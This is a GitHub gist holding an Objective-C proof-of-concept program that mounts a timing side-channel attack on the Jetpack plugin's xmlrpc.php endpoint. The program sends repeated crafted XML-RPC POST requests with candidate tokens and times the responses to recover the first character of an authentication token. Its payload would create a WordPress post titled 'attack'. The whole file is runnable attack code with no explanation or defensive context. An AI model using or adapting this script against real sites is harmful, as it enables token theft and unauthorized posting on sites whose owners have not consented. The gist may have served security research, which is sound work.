Skip to content

Instantly share code, notes, and snippets.

@koke
Created May 4, 2015 17:47
Show Gist options
  • Save koke/9779ffe36b0b857d3e97 to your computer and use it in GitHub Desktop.
Save koke/9779ffe36b0b857d3e97 to your computer and use it in GitHub Desktop.
#import <Foundation/Foundation.h>
typedef void (^measurable)();
const NSString *Target = @"http://jetpack-test.koke.me";
NSUInteger SiteID = 90752579;
NSString *Payload;
NSString *Alphabet = @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()";
double measure(measurable action) {
uint64_t start = mach_absolute_time();
action();
uint64_t duration = mach_absolute_time() - start;
mach_timebase_info_data_t info;
mach_timebase_info(&info);
return (double)duration * (info.numer / info.denom);
}
double attempt(NSString *token) {
token = [token stringByAppendingString:@"aaaa"];
NSString *encodedToken = [token stringByAddingPercentEncodingWithAllowedCharacters:[NSCharacterSet URLQueryAllowedCharacterSet]];
NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"%@/xmlrpc.php?for=jetpack&token=%@&body-hash=nope&signature=nope", Target, encodedToken]];
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
request.HTTPMethod = @"POST";
request.HTTPBody = [Payload dataUsingEncoding:NSUTF8StringEncoding];
double time = measure(^{
[NSURLConnection sendSynchronousRequest:request returningResponse:nil error:nil];
});
return time;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
Payload = [NSString stringWithFormat:@"<?xmlversion=\"1.0\"?><methodCall><methodName>jetpack.jsonAPI</methodName><params><param><value><array><data><value><array><data><value><string>POST</string></value><value><string>https://public-api.wordpress.com/rest/v1.1/sites/%lu/posts/new?http_envelope=1</string></value><value><string>title=attack</string></value><value><int>%lu</int></value><value><array><data></data></array></value></data></array></value><value><array><data><value><string>internal</string></value><value><string>1</string></value></data></array></value></data></array></value></param></params></methodCall>", (unsigned long)SiteID, (unsigned long)SiteID];
NSUInteger iterations = 200;
NSUInteger alphalen = [Alphabet length];
double times[alphalen]; // In us
for (int iteration = 0; iteration < iterations; iteration++) {
NSDate *itStart = [NSDate date];
for (int charIndex = 0; charIndex < alphalen; charIndex++) {
NSString *character = [Alphabet substringWithRange:NSMakeRange(charIndex, 1)];
NSString *token = [NSString stringWithFormat:@"%@:1:0", character];
double time = attempt(token);
// NSLog(@"[%d] %@: %.6f ms", iteration, token, time / 1000000.0);
times[charIndex] = (time / 1000.0) / iterations;
}
NSTimeInterval interval = - [itStart timeIntervalSinceNow];
NSTimeInterval eta = (iterations - iteration - 1) * interval;
NSDate *etaDate = [NSDate dateWithTimeIntervalSinceNow:eta];
NSDateFormatter *formatter = [NSDateFormatter new];
formatter.dateStyle = NSDateFormatterNoStyle;
formatter.timeStyle = NSDateFormatterMediumStyle;
NSLog(@"Iteration %i/%i: %.1fs avg: %.3f ms ETA %.1fs [%@]", iteration + 1, (int)iterations, interval, 1000 * interval / alphalen, eta, [formatter stringFromDate:etaDate]);
}
double avgtime = 0.0;
for (int charIndex = 0; charIndex < alphalen; charIndex++) {
avgtime += times[charIndex] / alphalen;
}
NSLog(@"");
NSLog(@"Results");
NSLog(@"=======");
NSLog(@"");
NSLog(@"Average: %.6f ms", avgtime / 1000);
for (int charIndex = 0; charIndex < alphalen; charIndex++) {
NSString *character = [Alphabet substringWithRange:NSMakeRange(charIndex, 1)];
NSString *token = [NSString stringWithFormat:@"%@:1:0", character];
double avgdiff = (times[charIndex] - avgtime);
NSLog(@"%@: %.6f ms (%.3f µs)", token, times[charIndex] / 1000, avgdiff);
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment